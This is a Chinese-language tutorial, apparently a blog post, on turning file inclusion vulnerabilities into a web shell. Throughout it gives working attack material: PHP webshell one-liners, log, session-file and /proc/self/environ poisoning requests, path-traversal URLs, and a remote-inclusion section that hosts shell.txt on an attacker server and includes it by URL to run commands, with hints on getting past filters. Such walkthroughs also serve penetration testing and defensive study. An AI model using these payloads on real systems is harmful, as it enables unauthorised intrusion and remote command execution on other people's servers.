利用文件包含GetShell

一、本地文件包含getshell

1-日志文件

原理 :当我们访问目标网站时,我们的访问请求会被记录在日志文件中(access.log或error.log),我们可以在访问路径拼接恶意代码,配合文件包含漏洞解析执行恶意代码
条件:需要知道日志文件的位置和名称

(1)注入恶意代码

通过一个特制的HTTP请求,将恶意代码(PHP Webshell)注入到服务器日志文件中。我们可以在URL或User-Agent字段中写入WebShell

php 复制代码
<?php @system($_POST['cmd']);?>

我们就插入到URL中,这里我们需要用burpsuite抓包插入,因为直接在浏览器中插入,代码会被URL编码

(2)包含日志文件

利用本地文件包含漏洞,通过文件包含参数(如file)包含日志文件

复制代码
http://php/include.php?file=E:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1773532800

当服务器执行这个请求的时候,它会把日志文件的内容当作php代码来执行,从而执行我们注入的命令whoami。

复制代码
http://php/include.php?file=E:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1773532800&cmd=whoami

2-session文件

原理 :某些Web应用程序会将用户的Session信息保存在某些服务器的tmp目录下,文件命名通常为sess_PHPSESSID。如果攻击者可以控制Session数据,就能通过LFI包含该文件getshell
条件:

  1. 知道Session存储路径
  2. 能够控制Session数据,特别是变量名
  3. Session存储路径可访问(常见路径如/var/lib/php/sessions/、/tmp/等)。

(1)设置Session值

通过$_SESSION变量,将恶意代码注入到Session中。这通常需要先找到一个可以控制Session值的参数,例如在登录或注册时

复制代码
$_SESSION['username']="<?php eval($_POST['cmd']);?>";

(2)获取文件路径

通常Session的命名为sess_加上Session ID。看通过浏览器Cookies中的PHPSESSID来获取 ,然后将文件包含

复制代码
http://example.com/index.pph?file=../../../../emp/sess_aadadaw212eda2131da13123

(3)执行恶意代码

当LFI漏洞包含该Session文件时,恶意代码被执行

3-/proc/self/environ

在Linux系统中,/proc/self/environ文件存储了当前进程的环境变量。攻击者可以通过设置User-Agent等环境变量,将恶意代码注入到该文件中,利用LFI漏洞包含

(1)设置User-Agent

发送一个带有恶意User-Agent的请求

复制代码
GET /index.php?page=test.php
HTTP/1.1
Host:example.com
User-Agent: <?php @system('whoami');?>

(2)包含环境变量文件

复制代码
http://example.com/index.php?file=../../../../proc/self/environ

(3)执行命令

当LFI漏洞包含该文件时,恶意代码被执行

二、远程文件包含getshell

RFI通常LFI更容易利用,因为它允许攻击者直接从自己的服务器上包含并执行恶意文件

(1)制作Webshell文件

在攻击者自己的服务器上创建一个Webshell文件,例如:

php 复制代码
<?php @system($_POST['cmd']);?>

为了绕过一些过滤,文件名可以不使用.php后最,例如:shell.txt或shell.jpg

(2)启动HTTP服务

在攻击者的服务器上开启有一个简单的HTTP服务来托管shell.txt

复制代码
python -m http.server 80

(3)远程文件包含

利用RFI漏洞,将URL指向攻击者服务器,包含shell.txt

复制代码
http://example.com/index.php?file=http://attacker-ip/shell.txt

注意:为了防止服务器对URL过滤,有时候需要使用编码、伪协议等技巧绕过

(4)执行命令

如果成功,shell.txt中的Webshell代码已经被执行,可以使用工具或直接在URL中POST数据来执行命令

复制代码
POST /index.php?file=http://attacker-ip/shell.txt HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

cmd=ls -al
相关推荐
长不大的杨瑞杰7 小时前
OpenCode v2 配置工程实战:Config 优先级、JSONC、变量替换与多环境治理
人工智能·安全·云计算·软件工程·devops
航天智算8 小时前
航天智算 HTZS-1700 全信创网络安全移动工作站深度评测
网络安全·国产算力·国产化改造·算力适配·测绘信创
斗象科技8 小时前
斗象入选上海市“AI+制造“服务商能力图谱·AI安全服务商
人工智能·安全·制造
longzhizhui9268 小时前
Ubuntu 全版本 CVE-2026-98432 内核安全升级操作手册
ubuntu·网络安全·云计算·bash
中二骚年9 小时前
Windows 安全中心 / 防火墙故障,calc和Microsoft Store,终端(管理员)无法正常打开。 原因 + 修复方案
windows·安全·microsoft
QXWZ_IA10 小时前
无人机自主巡检从半自动到全闭环的阶段划分与定位要求
人工智能·安全·无人机
QXWZ_IA10 小时前
低空经济下电力无人机巡检定位的能力演进与应用趋势
人工智能·安全
万联WANFLOW10 小时前
CVE-2026-98432 等漏洞自查:AI 查出的 Linux、Windows 漏洞,运维怎么确认受不受影响
linux·运维·windows·网络安全
亚远景aspice12 小时前
亚远景 - 无方向盘 L4 车辆批量认证,ASPICE 过程证据成制造商安全举证底座
安全·自动驾驶·aspice·研发管理·亚远景科技·过程能力评估·aspice评估
可涵不会debug12 小时前
PHP2Shell 爆发一周后:CVE-2026-109618/109619 自查、修复与防护实录
安全·php·云安全·waf·phpshell